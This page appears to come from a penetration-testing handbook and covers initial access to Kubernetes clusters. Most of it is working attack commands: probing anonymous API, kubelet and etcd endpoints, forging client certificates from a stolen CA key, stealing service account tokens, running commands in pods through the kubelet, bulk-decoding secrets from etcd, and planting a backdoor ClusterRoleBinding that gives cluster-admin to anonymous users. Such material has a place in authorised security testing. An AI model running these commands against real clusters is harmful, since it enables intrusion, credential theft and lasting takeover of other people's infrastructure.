Infiltr8: Red-Book
Cloud & CI/CD PentestingKubernetes

Initial Access

>-

Overview

Initial access to Kubernetes clusters can be achieved through various attack vectors, ranging from misconfigurations in authentication mechanisms to exploitation of exposed services. This phase focuses on gaining the first foothold in the cluster.


Anonymous Access

Anonymous access is a rare misconfiguration, but it can occur if excessive access has been granted to the anonymous role.

# Dangerous anonymous binding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: system:anonymous
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin  # DANGEROUS!
subjects:
- apiGroup: rbac.authorization.k8s.io
  kind: User
  name: system:anonymous

Testing Anonymous Access

Obtaining anonymous access on certain API endpoints can lead to sensitive information disclosure.

# Test anonymous access to API server
curl -k https://<api_server>:6443/api/v1

# Check anonymous permissions
curl -k https://<api_server>:6443/api/v1/namespaces

# Test specific resources
curl -k https://<api_server>:6443/api/v1/pods
curl -k https://<api_server>:6443/api/v1/secrets
curl -k https://<api_server>:6443/api/v1/nodes

Anonymous Permission Enumeration:

# Using kubectl without credentials
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i --list

# Check specific permissions
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i get pods
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify auth can-i create pods

Exploitation Commands

# If anonymous has cluster-admin
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify get secrets --all-namespaces

# Create malicious pod
kubectl --server=https://<api_server>:6443 --insecure-skip-tls-verify apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: infiltr8-pod
  namespace: default
spec:
  containers:
  - name: infiltr8
    image: alpine
    command: ["/bin/sh", "-c", "sleep 3600"]
    securityContext:
      privileged: true 
  hostNetwork: true
  hostPID: true
EOF

Certificate Forgery

In Kubernetes, client authentication to the API server can be performed using TLS client certificates. If we gain access to the private key of the cluster Certificate Authority (CA) (ca-key.pem), they can forge valid client certificates and authenticate as any identity they choose, including highly privileged users.

# Generate a private key
openssl genrsa -out infiltr8.key 2048

# Create a Certificate Signing Request (CSR)
openssl req -new -key infiltr8.key -out infiltr8.csr -subj "/CN=system:masters/O=system:masters"

# Sign the certificate using the cluster CA
openssl x509 -req -in infiltr8.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out infiltr8.crt -days 365

Then create the K8S configuration to use the forged certificate:

# Create kubeconfig with forged certificate
kubectl config set-cluster target --server=https://<api_server>:6443 --certificate-authority=ca.crt
kubectl config set-credentials infiltr8--client-certificate=infiltr8.crt --client-key=infiltr8.key
kubectl config set-context attack --cluster=target --user=infiltr8
kubectl config use-context attack

Service Account Takeover

Token Presence and Extraction

By default, Kubernetes automatically mounts a service account token into most pods unless explicitly disabled. This token is a JWT used to authenticate to the Kubernetes API server.

# Verify service account token mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/

# Extract the token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Extract namespace and CA
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

At this point, we have valid API credentials.

Authenticated API Enumeration (without kubectl)

Even if kubectl is not present, the token can be used directly with curl to enumerate Kubernetes resources.

# List pods in the current namespace
curl -s --cacert "$CACERT" \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods | jq
# Enumerate secrets (common misconfiguration)
curl -s --cacert "$CACERT" \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/secrets | jq

Permission Discovery and RBAC Enumeration

When kubectl is available, we can directly access RBAC permissions.

# Enumerate allowed actions
kubectl --token="$TOKEN" \
  --server=https://kubernetes.default.svc \
  --certificate-authority="$CACERT" \
  auth can-i --list
# Look for role bindings
kubectl --token="$TOKEN" \
  --server=https://kubernetes.default.svc \
  --certificate-authority="$CACERT" \
  get rolebindings -n $NAMESPACE
# Check cluster-wide privileges
kubectl --token="$TOKEN" \
  --server=https://kubernetes.default.svc \
  --certificate-authority="$CACERT" \
  get clusterrolebindings

If the service account is bound to cluster-admin or a wildcard role, full cluster compromise is achieved.

Lateral Token Extraction

If the compromised service account has access to other pods, additional tokens can be harvested.

# Exec into another pod and steal its token
kubectl exec -it <pod_name> -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token

This enables privilege pivoting between service accounts.

Token Extraction from etcd (Critical Misconfiguration)

If etcd is exposed, service account tokens can be extracted directly from cluster storage.

# Retrieve service account secrets from etcd
curl -k https://<etcd_ip>:2379/v2/keys/registry/secrets/default/default-token-* \
  | jq -r '.node.value' | base64 -d

This bypasses pod-level isolation entirely.

Modern Kubernetes versions reject unsigned tokens, but testing is still relevant during audits of legacy clusters. Here our classical JWT pentest methods can be applied.


kubelet API Exploits

Unauthenticated kubelet Access

If you manage to reach to the kubelet API anonymously you might be able to obtain and RCE on pods.

kubelet API Discovery:

# Test kubelet read-only API (deprecated)
curl -k http://<node_ip>:10255/pods

# Test kubelet API without authentication
curl -k https://<node_ip>:10250/pods

# Check kubelet configuration
curl -k https://<node_ip>:10250/configz

Pod Execution via kubelet:

# Execute commands in running containers
curl -k https://<node_ip>:10250/run/<namespace>/<pod>/<container> \
     -d "cmd=whoami"

# Start interactive session
curl -k https://<node_ip>:10250/exec/<namespace>/<pod>/<container> \
     -d "cmd=/bin/bash" \
     -d "input=1" \
     -d "output=1" \
     -d "tty=1"

Those commands can also be performed with kubeletctl.

kubelet Certificate Abuse

Being able to access the kubelet certificate will grand you access to the API and thus perform the same actions as described above.

Certificate Extraction:

# Kubelet configuration files
/var/lib/kubelet/kubeconfig
$HOME/.kube/config

# Extract kubelet client certificate
cp /var/lib/kubelet/pki/kubelet-client-current.pem kubelet.crt
cp /var/lib/kubelet/pki/kubelet-client-current.pem kubelet.key

# Use certificate for API access
curl -k --cert kubelet.crt --key kubelet.key https://<api_server>:6443/api/v1/nodes

kubeletctl Usage

# Scan for accessible kubelets
kubeletctl scan --cidr <cidr_range>

# Get pods from kubelet
kubeletctl pods -s <target_ip>

# Execute commands in containers
kubeletctl exec "id" -p <pod_name> -c <container_name> -s <target_ip>

# Scan for easy RCE
kubeletctl scan rce -s <target_ip>

# Scan for Service Account Token
kubeletctl scan token -s <target_ip>

etcd Direct Access

Unauthenticated etcd Access

If you manage to reach to the etcd API anonymously you might be able to leak cluster secrets and manipulate user config.

etcd Discovery and Access:

# Test etcd accessibility
curl -k https://<etcd_server>:2379/version

# List all keys
curl -k https://<etcd_server>:2379/v2/keys/?recursive=true

# Extract Kubernetes secrets
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets | jq

Secret Extraction from etcd:

# Extract all secrets
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets?recursive=true | \
jq -r '.node.nodes[]?.nodes[]?.value' | \
while read secret; do
    echo "$secret" | base64 -d | jq
done

# Extract service account tokens
curl -k https://<etcd_server>:2379/v2/keys/registry/secrets/kube-system | \
jq -r '.node.nodes[] | select(.key | contains("token")) | .value' | \
base64 -d | jq -r '.data.token' | base64 -d

etcd Data Manipulation

If the RBAC allows you to do so you can modify the user model in etcd and for example grand cluster admin privileges to the anonymous account:

# Create malicious cluster role binding
BINDING='{
  "apiVersion": "rbac.authorization.k8s.io/v1",
  "kind": "ClusterRoleBinding",
  "metadata": {"name": "backdoor"},
  "roleRef": {
    "apiGroup": "rbac.authorization.k8s.io",
    "kind": "ClusterRole",
    "name": "cluster-admin"
  },
  "subjects": [{
    "kind": "User",
    "name": "system:anonymous"
  }]
}'

# Encode and store in etcd
echo "$BINDING" | base64 | curl -k -X PUT \
https://<etcd_server>:2379/v2/keys/registry/clusterrolebindings/infiltr8 \
-d value="$(cat -)"

On this page